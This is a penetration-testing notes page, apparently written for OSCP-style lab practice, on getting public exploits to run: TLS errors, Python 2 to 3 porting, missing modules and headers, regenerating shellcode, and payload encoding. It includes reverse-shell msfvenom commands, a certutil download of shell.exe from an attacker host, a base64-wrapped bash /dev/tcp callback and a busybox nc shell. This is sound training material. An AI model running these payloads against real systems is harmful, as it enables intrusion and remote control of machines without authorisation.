Techniques / Shells and Access
Fixing Public Exploits
Exploits from searchsploit or GitHub rarely run as-is. The common fixes, roughly in the order they bite.
Read the header before running
- Tested-on OS and target version in the comments. A gap with the target flags likely trouble.
- Bind or reverse shell. A note like “connect to HOST:port” means a bind shell, so connect out with
ncand do not sit on a listener. - Hardcoded
LHOST,LPORT,RET, and offsets. - A large
\x..shellcode blob with a comment naming bad characters and an encoder. That blob is canned shellcode meant to be replaced. - The privilege in the title, which describes the machine the author tested on. QuackerJack’s “Unauthenticated Root Remote Code Execution” for rConfig 3.9.4 gets its root from a
sudo zip -q ... -TT '<command>'inside the payload, so it only returns root where the web user may runzipthrough sudo without a password. On a host without that sudoers rule the payload dies atsudo, the exploit reports the command was not executed, and the same bug is worth exactly what the web user is worth. - The CVE number in the banner, which is a claim like everything else in the file and is sometimes just wrong. The Ochima Maltrail PoC announced itself as CVE-2023-1389, a TP-Link router bug in unrelated software, while sitting in a file named after the correct CVE-2025-34073. Check the ID against the product before repeating it in a report.
A public buffer overflow can still be correct on a newer OS when its return address lives in a DLL loaded by the target application rather than by Windows. The offsets and RET stay valid, so only the shellcode needs changing. This is the Kevin case.
TLS against a self-signed target
A web exploit aimed at an HTTPS service on a lab box stops before it does anything:
requests.exceptions.SSLError: ... [SSL: CERTIFICATE_VERIFY_FAILED]
certificate verify failed: self-signed certificate (_ssl.c:1033)
That is Python refusing the certificate, not the target refusing the request. Turn verification off on the session the script builds, which covers every call made through it:
request = requests.Session()
request.verify = False
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # silence the warning flood
Scripts are often fixed only in places. On QuackerJack the author passed verify=False to the first two calls and then built a second session for the authenticated half without it, so the run died on that session’s first request. Check for more than one session object rather than patching the line in the traceback. When there is no session and the calls are bare requests.get/post, either add verify=False to each or disable it globally:
import functools
requests.Session.request = functools.partialmethod(requests.Session.request, verify=False)
A handshake or protocol error such as UNSAFE_LEGACY_RENEGOTIATION_DISABLED is a different problem. That is the attacking machine’s OpenSSL refusing an old TLS stack, and no verify=False fixes it; relay through socat TCP-LISTEN:<port>,fork,reuseaddr OPENSSL:<target>:<port>,verify=0 and point the script at localhost.
When the script fails, do the steps by hand
Before debugging a web exploit, check its --help against what was actually passed. A -u/--url is often a base for paths the script appends, and its usage string says which base:
-u URL, --url=URL Base target uri http://target/panel
Start with only the required arguments, then add optional ones one at a time. An optional argument can override a working default: adding --port 8000 points the script at the wrong service even when that port is open. Confirm how each argument is used and whether the script already defaults correctly:
grep -nE 'add_argument|--host|--port' exploit.py
Given the site root instead, the script fetches the wrong page and dies parsing it. EDB 49876 on Exfiltrated failed with TypeError: 'NoneType' object is not subscriptable on soup.find('input',attrs={'name':'__st'})['value'], which is BeautifulSoup returning None because that CSRF field is not on the front page. Any NoneType error in a scraping exploit points at the page it fetched, not the target being patched.
Fixing the URL is not always the end of it. The same script then reported [x] Login failed... Check credentials with credentials that log in fine through a browser, meaning its form submission no longer matches the install.
At that point read what the script does and reproduce it manually. Most web exploits are a short sequence: log in, upload a file, request it. If each step exists in the application’s own UI, doing it by hand is faster than fixing someone else’s login routine, and every step is visible instead of hidden behind a [+] Success!.
A script’s own interactive prompt is not a shell
Some PoCs, once they land, drop into their own Please enter a command to execute : style REPL rather than an actual shell. It looks like one but is a small parser the script wrote, and it only understands the verbs it defines (execute <command>, write <text>, and similar): typing whoami straight into it fails with something like No command found named "whoami", where ? or help lists what it actually takes. Quoting a command for it out of shell habit is a different, wrong command, since the prompt passes the line straight through rather than stripping quotes the way a shell would; execute "busybox nc ... -e sh" sent the literal quote characters and never called back on LaVita, and dropping the quotes did.
The same script’s plain arguments can be just as literal. --host built into a request path broke when passed with a trailing slash, since the script concatenates it onto /_ignition/execute-solution without checking for one, giving a double slash the target’s routing did not resolve; passing the bare host with no trailing slash fixed it. Neither of these is a bug in the target, both are the script trusting its own input more than a shell would.
Replace canned shellcode
Regenerate a reverse shell that points at the VPN address, reusing the exploit’s stated bad chars and encoder:
msfvenom -p windows/shell_reverse_tcp \
LHOST=KALI LPORT=4444 \
-b '<bad chars from the exploit comments>' \
-e x86/alpha_mixed -f c
LHOSTis the tun0 VPN address, not the target. A reverse shell bakes the callback IP into the bytes.-bcopies the exploit’s bad-char list, bytes the vulnerable parser drops or breaks on.-e x86/alpha_mixedkeeps the payload alphanumeric when it rides inside text such as an HTTP header. Match whatever encoder the original names (Metasploit’s PexAlphaNum maps toalpha_mixed).- Replace only the shellcode variable. Keep any egg tag (for example a leading
n00bn00b) that a finder stub searches for, and leave the return address, padding lengths, and egg hunter alone. - Payload length usually does not force a Content-Length change when the shellcode travels in a header rather than the request body.
When the script holds the payload as a Python variable block rather than raw bytes for a BOF, the header comment usually shows the exact msfvenom line that produced it. Regenerate the same payload with the VPN address, matching the script’s variable name:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=KALI LPORT=443 EXITFUNC=thread \
-f python -v shell -o shell.txt
-f pythonemits theshell += "\x.."block the script expects.-v shellnames the variable to match the script. The default isbuf, which would not line up with a script that referencesshell.-owrites the block to a file so it can be copied from an editor instead of the terminal, avoiding the truncation in the Paste corruption section below.-band-eare dropped here. Shellcode carried inside a binary protocol such as the SMB packet in MS09-050 passes no text parser and loses no bytes, so there are no bad chars to avoid and no reason to encode. Bad chars and alphanumeric encoding only matter when the payload travels through text, as in the header case above.- A meterpreter payload needs a
multi/handlerlistening before the exploit fires. Swappingwindows/meterpreter/reverse_tcpforwindows/shell_reverse_tcpgives a plain shell caught withnc -lvnp, which avoids spending the exam’s single Metasploit allowance.
python2 vs python3
Old exploits are python2. Check which interpreter a script expects before running anything:
head -n 1 exploit.py
python3 exploit.py -h
The error wording identifies a Python 2 script even before the print statement does: Python 3 reports a missing module with quotes, ModuleNotFoundError: No module named 'salt', Python 2 without them, ImportError: No module named salt. Under python3 a Python 2 script breaks in order:
print "x"needsprint("x").s.send(evil)needs bytes. Either build the buffer as bytes, ors.send(evil.encode('latin-1')). latin-1 maps each code point 0 to 255 to one byte, so high bytes such as\xCFsurvive, where UTF-8 would expand them to two bytes.
Three ways forward, in order of preference:
- Find a Python 3 version. Search Exploit-DB and GitHub by CVE or the exact title. This skips the Python 2 toolchain entirely and is usually the fastest route.
- Auto-convert the script.
2to3 -w exploit.pyrewritesprintstatements andexceptsyntax in place and handles most exploit scripts. Skim the result for anything it could not translate, then install modules with pip as below. - Run it under Python 2. Current Kali ships no Python 2 and the repositories no longer carry a package for it, so the interpreter has to be sourced elsewhere if this route is needed. Its dependencies also need the interpreter’s own pip, which recent Kali omits too:
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
python2 get-pip.py
python2 -m pip install mysql-connector-python==8.0.23
Packages that dropped Python 2 support in later releases need a version pin; mysql-connector-python last supported Python 2.7 at 8.0.23. Fiddly enough that converting with 2to3 and installing under python3 is usually the calmer path.
A “patched” verdict belongs to the script, not the target
A PoC that reports the target unaffected has only failed its own check. EDB 49067 answered “this instance is patched” against Aerospike 5.1.0.1 on OSCP A, twice, with two different payload modes; a different PoC for the same CVE-2020-13151 reported “looks vulnerable” against the identical version string and landed the shell. Before writing a target off on one script’s say-so, pull another implementation of the same bug, the same conclusion the LoadError case above reaches from a different failure mode.
Windows paths in Python strings
Pasting a certutil payload with a Windows path into an exploit’s command variable dies before the script runs:
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 74-75: truncated \UXXXXXXXX escape
\U in C:\Users opens an 8-digit Unicode escape in a normal Python string, and sers\Pu... is not 8 hex digits. \P and \W are invalid escapes too, though those only warn in older Python rather than error. Hit on the Nexus Repository 3 Java injection PoC (EDB 49385), whose CMD variable holds the full cmd.exe /c certutil ... line.
Three fixes, pick one:
CMD = r'cmd.exe /c certutil -urlcache -split -f http://KALI/shell.exe C:\Users\Public\shell.exe' # raw string
CMD = 'cmd.exe /c certutil -urlcache -split -f http://KALI/shell.exe C:\\Users\\Public\\shell.exe' # escaped backslashes
CMD = 'cmd.exe /c certutil -urlcache -split -f http://KALI/shell.exe C:/Users/Public/shell.exe' # forward slashes
The r prefix is the cleanest for a single edit. Windows accepts forward slashes in most command lines, but not all (anything quoted and re-parsed by cmd can break), so prefer the raw string when in doubt.
Missing C headers on modern GCC
exp.c:23:29: error: implicit declaration of function 'strlen'
exp.c:27:25: error: implicit declaration of function 'strcat'
Old exploit C sources often call standard library functions without including the header that declares them, relying on some other header pulling it in transitively. GCC 14 treats an undeclared function call as a hard error under -Wimplicit-function-declaration, where older compilers only warned, so code that built fine years ago now fails outright on current toolchains. The compiler names the exact function each time, which maps directly to the header:
| function | header |
|---|---|
strlen, strcat, strcpy, memcpy | <string.h> |
inet_addr, inet_ntoa, htons | <arpa/inet.h> |
malloc, exit, atoi | <stdlib.h> |
Add the missing #include near the file’s other includes and rebuild. Errors surface one header at a time, since GCC stops emitting new “implicit declaration” notes for functions it has already flagged once resolved, so a second make can turn up a different missing header rather than finishing clean (BlackGate hit string.h then arpa/inet.h in two separate make runs). Everything else in the output, discarded-const warnings, -Wnonnull, misleading-indentation, is noise from the same old code being read by a stricter compiler and does not block the build; only lines starting error: do.
GLIBC too new in a prebuilt binary
./exploit.bin: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exploit.bin)
A prebuilt exploit binary is compiled on the author’s distro. When it demands a GLIBC newer than the target ships, the loader refuses it before any exploit code runs, and nothing about the target was actually tested. Options, cheapest first:
- Pick a different public exploit for the same bug class whose source is one file and stock headers, and compile it on the target. A bundled
compile.shwith a plaingccline is the good sign; a repo of headers to stage over is the bad one. - Recompile the original in a container matching the target’s distro and ship the result, when no lighter PoC for the bug exists.
On OSCP B 149 the suggested eBPF exploit shipped as a binary wanting GLIBC 2.34 against a target on 2.31; instead of staging its repo, a single-file Dirty Pipe PoC with a compile script went across and compiled in place.
Missing Python modules
ModuleNotFoundError: No module named 'smb' means the imported module is not installed. The name after import is the module name, which is not always the PyPI package name, so pip install smb fails with No matching distribution found. One distribution can ship a differently named top-level module.
Check the imports before installing anything, since that shows what the script actually needs:
grep -E '^(from|import) ' exploit.py
Read the failing import to get the module, then map it to the package. The offenders that show up in exploit scripts:
| import | pip install |
|---|---|
smb | pysmb |
Crypto | pycryptodome |
bs4 | beautifulsoup4 |
dns | dnspython |
nmap | python-nmap |
yaml | PyYAML |
OpenSSL | pyOpenSSL |
serial | pyserial |
When the mapping is not known, search PyPI for the module name to find which distribution provides it, or guess the py<name> / <name>python variants. Install into a venv so system packages stay clean:
python3 -m venv .venv && source .venv/bin/activate
python -m pip install pysmb
python -m pip keeps the package and the interpreter running the script in the same environment. Confirm the import resolves, then run:
python -c 'import smb; print(smb.__file__)'
If the import still fails, compare the active interpreter with the environment pip used (which python, python -m pip show smb), or call the venv’s interpreter directly with .venv/bin/python exploit.py.
Use the script’s own requirements.txt when one ships (python -m pip install -r requirements.txt). Never sudo pip install for exploit dependencies; a venv keeps conflicting exploit packages out of Kali’s system Python.
from smb.SMBConnection import SMBConnection is pysmb. Impacket exposes the same class under the lowercase from impacket.smbconnection import SMBConnection, so the module casing tells the two libraries apart.
A package that fails to build
Some packages are C extensions that compile against system libraries when installed:
ERROR: Failed to build 'mysqlclient' when getting requirements to build wheel
note: This error originates from a subprocess, and is likely not a problem with pip.
That is a missing compiler or missing development headers, not a Python problem. First check whether the package is needed at all: the import in the script decides the package, and a pure-Python option often sidesteps the build entirely.
| import in the script | pip package | compiles |
| --- | --- |
| import mysql.connector | mysql-connector-python | No, pure Python |
| import MySQLdb | mysqlclient | Yes, C extension |
For import mysql.connector, installing mysql-connector-python avoids compilation. Installing mysqlclient by mistake is what triggers the error above. When a compiled package genuinely is required, install the toolchain and the matching headers, then retry:
sudo apt install -y build-essential python3-dev pkg-config default-libmysqlclient-dev
python -m pip install mysqlclient
build-essential and python3-dev provide the compiler and Python headers; the library’s own -dev package provides the headers the extension links against (here default-libmysqlclient-dev for libmysqlclient).
Missing Ruby gems
Same idea, cannot load such file -- <name> (LoadError), fixed with sudo gem install <name>. That fix only applies when the gem is genuinely absent. On Apex a Ruby OpenEMR RCE PoC hit this error twice: docopt first, a real missing gem, gem install fixed it outright; then httpx/plugins/multipart, where httpx was already installed and the same fix does nothing, since LoadError there means the installed version does not expose the submodule the script expects, a version mismatch rather than a missing package. Pinning to whatever old version the PoC was written against is possible but often not worth it; checking for a different public PoC targeting the same bug is usually faster.
Quoted-printable download corruption
SyntaxError: invalid syntax
HOST =3D "127.0.0.1:65432"
=3D in place of every = is MIME quoted-printable encoding that was never decoded out of the file. Exploits mirrored from a mailing-list posting (Packet Storm copies many from Full Disclosure/Bugtraq) are stored that way, and =XX is a literal byte in hex, so =3D is 0x3D, the = character. A trailing = right before a line break is the same encoding’s soft line-break marker. Decode the whole file at once rather than hand-fixing each occurrence, which also catches the line-break case a find-and-replace on =3D alone would miss:
python3 -c "import quopri; open('exploit.py','wb').write(quopri.decodestring(open('exploit.py','rb').read()))"
Paste corruption
Copying a shellcode block out of a terminal can drop the last character on wrapped lines, leaving \x4 instead of \x4c and a truncated \xXX escape error. Write msfvenom output to a file with -o, or copy from a GUI editor, then check before running:
grep -nE '\\x[0-9a-fA-F]"' exploit.py
Any shellcode line ending in a single hex digit before the quote is truncated.
The injection channel constrains the payload
When an exploit takes a --command or <command> argument, that string is not handed to a shell directly. It is spliced into whatever protocol the bug lives in, and the protocol gets to reject it first. Characters that are ordinary in a shell can be structural in the carrier.
On Bratarina the same OpenSMTPD PoC returned two different protocol errors for two different payloads:
503 5.5.4 Invalid command arguments: Unsupported option & # >& and 0>&1 in a MAIL FROM line
500 5.5.1 Invalid command: Pipelining not supported # a newline in the payload
Neither is the exploit failing. Both are the mail server refusing a malformed command before delivery. The same idea shows up elsewhere: & and # terminate a URL query, a ' ends a SQL string, and a newline ends a line-oriented protocol command.
Two ways through:
- Pick a payload with no metacharacters.
busybox nc KALI PORT -e shhas no quotes, no redirections, and no&, so it survives channels that reject a bash/dev/tcpone-liner. See Reverse Shells. - Base64-wrap it. The encoded blob is alphanumeric plus
+/=, so it passes any channel intact, and the decode happens on the target:
B64=$(printf %s 'bash -i >& /dev/tcp/<attacker>/80 0>&1' | base64 -w0)
python exploit.py <target> 25 "echo $B64 | base64 -d | bash"
Related, a PoC that prints Payload sent, SUCCESS, or Exploit completed usually means only that the request was accepted. It is not confirmation that the command ran. RubyDome and Bratarina both had scripts reporting success while nothing came back.
The reverse also holds: read every line before believing the last one. A multi-step exploit prints progress, and the steps that succeeded say the target is vulnerable even when the final one fails. QuackerJack’s chained PoC printed Adding a temporary admin user, Authenticating as ... and Logged in successfully before failing to get a callback, which proves the SQL injection and the injected account both worked and puts the fault in one request. Those earlier steps also persist. A script that crashes or exits early does not undo what it already wrote, so an injected user, an uploaded webshell, or a modified config stays on the target and shows up in the next dump.
Unstable shells from kernel exploits
MS09-050 is a kernel-side SMBv2 bug, so the payload runs in the SMB driver’s context rather than a normal process. Observed on Internal: the reverse shell connects back and then dies within a second or two, before a single command returns.
Exactly why it drops that fast was not run down. Kernel-mode SMB exploit shells have a general reputation for being unstable and needing to be moved into a normal process quickly, and this exploit ships a stager_sysenter_hook block (Metasploit’s trick for getting execution out of the kernel), but whether the hook, timing, or something else causes the instant death here was not confirmed.
Options to try, none verified on this box:
- Migrate the payload into a stable process with
PrependMigrate, so the session does not depend on whatever context the exploit lands in:
msfvenom -p windows/shell_reverse_tcp \
LHOST=KALI LPORT=443 \
PrependMigrate=true PrependMigrateProc=rundll32.exe \
-f python -v shell -o shell.txt
- Pad the shellcode with a NOP sled. Reported by others to help through trial and error; it does not obviously address a process-lifetime problem, so treat it as a guess.
- The Metasploit
ms09_050_smb2_negotiate_func_indexmodule is reported to give a stable shell straight away, which hints the stability handling belongs on the exploit side rather than the payload. Costs the exam’s single Metasploit run.
Related: Kevin, Internal, Service Exploits, Reverse Shells, SearchSploit.